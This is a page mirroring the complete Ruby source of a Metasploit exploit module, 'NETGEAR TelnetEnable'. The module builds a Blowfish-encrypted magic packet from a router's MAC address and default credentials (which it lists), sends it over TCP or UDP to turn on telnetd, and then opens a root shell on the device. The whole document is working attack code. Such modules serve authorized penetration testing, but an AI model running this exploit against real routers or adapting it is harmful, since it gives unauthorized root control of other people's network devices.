Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/telnet/netgear_telnetenable.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::Udp10include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Capture1213def initialize(info = {})14super(update_info(info,15'Name' => 'NETGEAR TelnetEnable',16'Description' => %q{17This module sends a magic packet to a NETGEAR device to enable telnetd.18Upon successful connect, a root shell should be presented to the user.19},20'Author' => [21'Paul Gebheim', # Python PoC (TCP)22'insanid', # Python PoC (UDP)23'wvu' # Metasploit module24],25'References' => [26['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],27['URL', 'https://github.com/cyanitol/netgear-telenetenable'],28['URL', 'https://github.com/insanid/netgear-telenetenable']29],30'DisclosureDate' => '2009-10-30', # Python PoC (TCP)31'License' => MSF_LICENSE,32'Platform' => 'unix',33'Arch' => ARCH_CMD,34'Privileged' => true,35'Payload' => {36'Compat' => {37'PayloadType' => 'cmd_interact',38'ConnectionType' => 'find'39}40},41'Targets' => [42['Automatic (detect TCP or UDP)',43proto: :auto44],45['TCP (typically older devices)',46proto: :tcp,47username: 'Gearguy',48password: 'Geardog'49],50['UDP (typically newer devices)',51proto: :udp,52username: 'admin',53password: 'password'54]55],56'DefaultTarget' => 057))5859register_options([60Opt::RPORT(23),61OptString.new('MAC', [false, 'MAC address of device']),62OptString.new('USERNAME', [false, 'Username on device']),63OptString.new('PASSWORD', [false, 'Password on device'])64])65end6667def post_auth?68true69end7071def default_credential?72true73end7475def check76# Run through protocol detection77detect_proto7879# This is a gamble, but it's the closest we can get80if @proto == :tcp81CheckCode::Detected82else83CheckCode::Unknown84end85end8687def exploit88# Try to do the exploit unless telnetd is detected89@do_exploit = true9091# Detect TCP or UDP and presence of telnetd92@proto = target[:proto]93detect_proto if @proto == :auto9495if @do_exploit96# Use supplied or ARP-cached MAC address97configure_mac98# Use supplied or default creds99configure_creds100# Shell it101exploit_telnetenabled102end103104# Connect to the shell105connect_telnetd106end107108def detect_proto109begin110connect111112res = begin113sock.get_once || ''114rescue EOFError115''116end117118# telnetenabled returns no data, unlike telnetd119if res.length == 0120print_good('Detected telnetenabled on TCP')121else122print_good('Detected telnetd on TCP')123@do_exploit = false124end125126@proto = :tcp127# It's UDP... and we may not get an ICMP error...128rescue Rex::ConnectionError129print_good('Detected telnetenabled on UDP')130@proto = :udp131ensure132disconnect133end134end135136def configure_mac137@mac = datastore['MAC']138139return if @mac140141print_status('Attempting to discover MAC address via ARP')142143begin144open_pcap145@mac = lookup_eth(rhost).first146rescue RuntimeError => e147fail_with(Failure::BadConfig, "#{e}. Are you root?")148ensure149close_pcap150end151152if @mac153print_good("Found MAC address #{@mac}")154else155fail_with(Failure::Unknown, 'Could not find MAC address')156end157end158159def configure_creds160@username = datastore['USERNAME'] || target[:username]161@password = datastore['PASSWORD'] || target[:password]162163# Try to use default creds if no creds were found164unless @username && @password165tgt = targets.find { |t| t[:proto] == @proto }166@username = tgt[:username]167@password = tgt[:password]168end169170print_good("Using creds #{@username}:#{@password}")171end172173def exploit_telnetenabled174print_status('Generating magic packet')175payload = magic_packet(@mac, @username, @password)176177begin178print_status("Connecting to telnetenabled via #{@proto.upcase}")179@proto == :tcp ? connect : connect_udp180print_status('Sending magic packet')181@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)182rescue Rex::ConnectionError183fail_with(Failure::Disconnected, 'Something happened mid-connection!')184ensure185print_status('Disconnecting from telnetenabled')186@proto == :tcp ? disconnect : disconnect_udp187end188189# Wait a couple seconds for telnetd to come up190print_status('Waiting for telnetd')191sleep(2)192end193194def connect_telnetd195print_status('Connecting to telnetd')196connect197handler(sock)198end199200# NOTE: This is almost a verbatim copy of the Python PoC201def magic_packet(mac, username, password)202mac = mac.gsub(/[:-]/, '').upcase203204if mac.length != 12205fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')206end207just_mac = mac.ljust(0x10, "\x00")208209if username.length > 0x10210fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')211end212just_username = username.ljust(0x10, "\x00")213214if @proto == :tcp215if password.length > 0x10216fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')217end218just_password = password.ljust(0x10, "\x00")219elsif @proto == :udp220# Thanks to Roberto Frenna for the reserved field analysis221if password.length > 0x21222fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')223end224just_password = password.ljust(0x21, "\x00")225end226227cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")228md5_key = Rex::Text.md5_raw(cleartext)229230payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))231232secret_key = 'AMBIT_TELNET_ENABLE+' + password233234byte_swap(blowfish_encrypt(secret_key, payload))235end236237def blowfish_encrypt(secret_key, payload)238cipher = OpenSSL::Cipher.new('bf-ecb').encrypt239240cipher.padding = 0241cipher.key_len = secret_key.length242cipher.key = secret_key243244cipher.update(payload) + cipher.final245end246247def byte_swap(data)248data.unpack('N*').pack('V*')249end250251end252253254